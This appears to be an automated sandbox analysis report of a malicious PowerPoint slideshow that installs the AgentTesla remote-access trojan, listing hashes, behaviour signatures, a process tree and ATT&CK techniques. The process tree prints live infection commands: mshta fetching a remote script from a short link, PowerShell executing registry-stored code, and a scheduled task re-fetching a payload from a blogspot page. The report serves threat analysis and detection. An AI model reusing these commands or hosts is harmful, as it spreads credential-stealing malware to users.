Analysis

  • max time kernel
    152s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    24-02-2021 18:39

General

  • Target

    25.pps

  • Size

    143KB

  • MD5

    c475bbc0142c89758cb3f15625f5dee7

  • SHA1

    eea1ff58d1a0b6a471f9a34d97b102c2cd0a3431

  • SHA256

    7df670fa6de80e87fa03dfba84f5777054d5a55737f8fce07679a637342250a3

  • SHA512

    241a3575dd78dcc2b4f20d20a46f53f4910c7e613ba1dba87b5dd7c9aaa4cc5ebf83784c2560e60fee5ad11732cb3a36a445a6cc82ae851e10367fbbdda8ad9f

Malware Config

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 3 IoCs
  • Blocklisted process makes network request 15 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\25.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:792
      • C:\Windows\SysWOW64\mSHtA.exe
        mSHtA http://12384928198391823%12384928198391823@j.mp/akawasdiaodiasdokwnduhand
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1596
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).cutona)|IEX
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1048
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            4⤵
              PID:1616
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
              4⤵
              • Drops file in Drivers directory
              • Suspicious behavior: EnumeratesProcesses
              PID:2044
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@mylundisfarbigthenyouthink.blogspot.com/p/19.html""\"", 0 : window.close"\")
            3⤵
            • Creates scheduled task(s)
            PID:920
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).btfee)|IEX
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1816
          • C:\Windows\SysWOW64\taskkill.exe
            "C:\Windows\System32\taskkill.exe" /f /im winword.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1076
          • C:\Windows\SysWOW64\taskkill.exe
            "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:468
        • C:\Windows\SysWOW64\ping.exe
          ping
          2⤵
          • Process spawned unexpected child process
          • Runs ping.exe
          PID:300
        • C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
          winword
          2⤵
          • Drops file in Windows directory
          • Suspicious use of SetWindowsHookEx
          PID:1000

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Defense Evasion

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Remote System Discovery

      1
      T1018

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        MD5

        85d6091ff8ab987cc36e15d8c864f2db

        SHA1

        f9d3c77ef9c464c1e8e70cb3de79efd8ec8960fc

        SHA256

        f55bafa59e2f2c356b01549fdba906abf76774ef0578c14d275fa1435c78f1d3

        SHA512

        72a23e48c5c62ef29eb3be67e8b15b897332de533e8f29f3afdfe28f4c518334a55d7d421c619fd52d908e5f17e3bdfa880c7a55a9975f6c18b107a42e2e4ce9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_03bfaf74-c48a-406b-812c-2684df821d22
        MD5

        597009ea0430a463753e0f5b1d1a249e

        SHA1

        4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

        SHA256

        3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

        SHA512

        5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b0b2f5a-4fa9-4284-9780-9a1da7b14a47
        MD5

        02ff38ac870de39782aeee04d7b48231

        SHA1

        0390d39fa216c9b0ecdb38238304e518fb2b5095

        SHA256

        fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

        SHA512

        24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_85c7c16f-de6b-4cda-bf8a-ede9c5910d3d
        MD5

        df44874327d79bd75e4264cb8dc01811

        SHA1

        1396b06debed65ea93c24998d244edebd3c0209d

        SHA256

        55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

        SHA512

        95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a02197da-f9c8-43e6-9ff1-846e01d2d404
        MD5

        75a8da7754349b38d64c87c938545b1b

        SHA1

        5c28c257d51f1c1587e29164cc03ea880c21b417

        SHA256

        bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

        SHA512

        798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b771b377-145f-49e9-bf64-45e69646f7b9
        MD5

        5e3c7184a75d42dda1a83606a45001d8

        SHA1

        94ca15637721d88f30eb4b6220b805c5be0360ed

        SHA256

        8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

        SHA512

        fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c356f451-13b2-41fc-8d4c-54a293efa6e1
        MD5

        b6d38f250ccc9003dd70efd3b778117f

        SHA1

        d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

        SHA256

        4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

        SHA512

        67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ce569c42-07bf-442e-b377-8e9695c9383c
        MD5

        be4d72095faf84233ac17b94744f7084

        SHA1

        cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

        SHA256

        b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

        SHA512

        43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dadf780e-0f00-49bb-86e1-35585efd8a97
        MD5

        a725bb9fafcf91f3c6b7861a2bde6db2

        SHA1

        8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

        SHA256

        51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

        SHA512

        1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        MD5

        c2f8281a3ed825df0e4ba4b165b14d7a

        SHA1

        3b395efda48618f26c8485ebfa803825a5459256

        SHA256

        c1a2214079d89a3de315f9eb705df74c244a4652cfee1a41745f8fb475669b13

        SHA512

        304188028320e766bde0e56c1335881c932de17ec1ec8e053351b8eb6fde1e99c598a59828c285e9d0b0a6526c9f6ab50948ed69ae3b96d89933ea446fecee3b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        MD5

        b06c8c53975cd721247c3e6944456336

        SHA1

        56ccd6fff3e493fe46ed9868f3008ca8f854ff1b

        SHA256

        48f2fcd0e21aa50198d8a7f5d445ae6c06f1c581ca1ae496749581cdfba77e77

        SHA512

        f60aec4f2abea1952973379686308b70dfd23cd6300a13794f97d13b3f8e01d823a54d067deec7020f69b6a61d29d0084f48ad8d140fd83eafa93a37fd1a1a86

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
        MD5

        bb4cae7ddcdec6ace68a2bdc1050766b

        SHA1

        9463f7cf16184e3d98b1bf7a86f3f80bdc05fea2

        SHA256

        c5edfb91a3f3f91eb1f2afb2ec6ccdd9096ce8a7e7af5d790a4e701569d540e5

        SHA512

        ba95f49d6315f047a1e2f3abb0dd37de53f642be8d4eaf0a80b42e0de7cf1ee4130999dff57004cd6441d8fb80ce5ba4121f9da1f3dfaeb7be799b304c452ed2

      • memory/300-9-0x0000000000000000-mapping.dmp
      • memory/468-20-0x0000000000000000-mapping.dmp
      • memory/548-8-0x000007FEF7900000-0x000007FEF7B7A000-memory.dmp
        Filesize

        2.5MB

      • memory/792-5-0x0000000000000000-mapping.dmp
      • memory/792-6-0x000007FEFBDA1000-0x000007FEFBDA3000-memory.dmp
        Filesize

        8KB

      • memory/920-16-0x0000000000000000-mapping.dmp
      • memory/1000-11-0x0000000068991000-0x0000000068994000-memory.dmp
        Filesize

        12KB

      • memory/1000-10-0x0000000000000000-mapping.dmp
      • memory/1048-17-0x0000000075D61000-0x0000000075D63000-memory.dmp
        Filesize

        8KB

      • memory/1048-40-0x000000007EF30000-0x000000007EF31000-memory.dmp
        Filesize

        4KB

      • memory/1048-86-0x0000000000940000-0x0000000000953000-memory.dmp
        Filesize

        76KB

      • memory/1048-15-0x0000000000000000-mapping.dmp
      • memory/1048-29-0x00000000048A0000-0x00000000048A1000-memory.dmp
        Filesize

        4KB

      • memory/1048-32-0x00000000048A2000-0x00000000048A3000-memory.dmp
        Filesize

        4KB

      • memory/1048-33-0x00000000024C0000-0x00000000024C1000-memory.dmp
        Filesize

        4KB

      • memory/1048-24-0x000000006AEA0000-0x000000006B58E000-memory.dmp
        Filesize

        6.9MB

      • memory/1048-39-0x00000000056E0000-0x00000000056E1000-memory.dmp
        Filesize

        4KB

      • memory/1048-61-0x0000000006460000-0x0000000006461000-memory.dmp
        Filesize

        4KB

      • memory/1048-45-0x0000000005770000-0x0000000005771000-memory.dmp
        Filesize

        4KB

      • memory/1048-46-0x00000000062A0000-0x00000000062A1000-memory.dmp
        Filesize

        4KB

      • memory/1048-53-0x0000000006340000-0x0000000006341000-memory.dmp
        Filesize

        4KB

      • memory/1048-25-0x0000000000CE0000-0x0000000000CE1000-memory.dmp
        Filesize

        4KB

      • memory/1076-19-0x0000000000000000-mapping.dmp
      • memory/1088-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1088-14-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1088-2-0x0000000074401000-0x0000000074405000-memory.dmp
        Filesize

        16KB

      • memory/1088-3-0x00000000715B1000-0x00000000715B3000-memory.dmp
        Filesize

        8KB

      • memory/1596-7-0x0000000000000000-mapping.dmp
      • memory/1816-18-0x0000000000000000-mapping.dmp
      • memory/1816-27-0x0000000004900000-0x0000000004901000-memory.dmp
        Filesize

        4KB

      • memory/1816-23-0x000000006AEA0000-0x000000006B58E000-memory.dmp
        Filesize

        6.9MB

      • memory/1816-35-0x0000000004890000-0x0000000004891000-memory.dmp
        Filesize

        4KB

      • memory/1816-67-0x0000000006500000-0x0000000006501000-memory.dmp
        Filesize

        4KB

      • memory/1816-82-0x0000000006610000-0x0000000006611000-memory.dmp
        Filesize

        4KB

      • memory/1816-83-0x0000000006660000-0x0000000006661000-memory.dmp
        Filesize

        4KB

      • memory/1816-30-0x00000000048C0000-0x00000000048C1000-memory.dmp
        Filesize

        4KB

      • memory/1816-31-0x00000000048C2000-0x00000000048C3000-memory.dmp
        Filesize

        4KB

      • memory/2044-87-0x0000000000400000-0x000000000043E000-memory.dmp
        Filesize

        248KB

      • memory/2044-88-0x000000000043828E-mapping.dmp
      • memory/2044-89-0x000000006AEA0000-0x000000006B58E000-memory.dmp
        Filesize

        6.9MB

      • memory/2044-90-0x0000000000400000-0x000000000043E000-memory.dmp
        Filesize

        248KB

      • memory/2044-92-0x0000000004920000-0x0000000004921000-memory.dmp
        Filesize

        4KB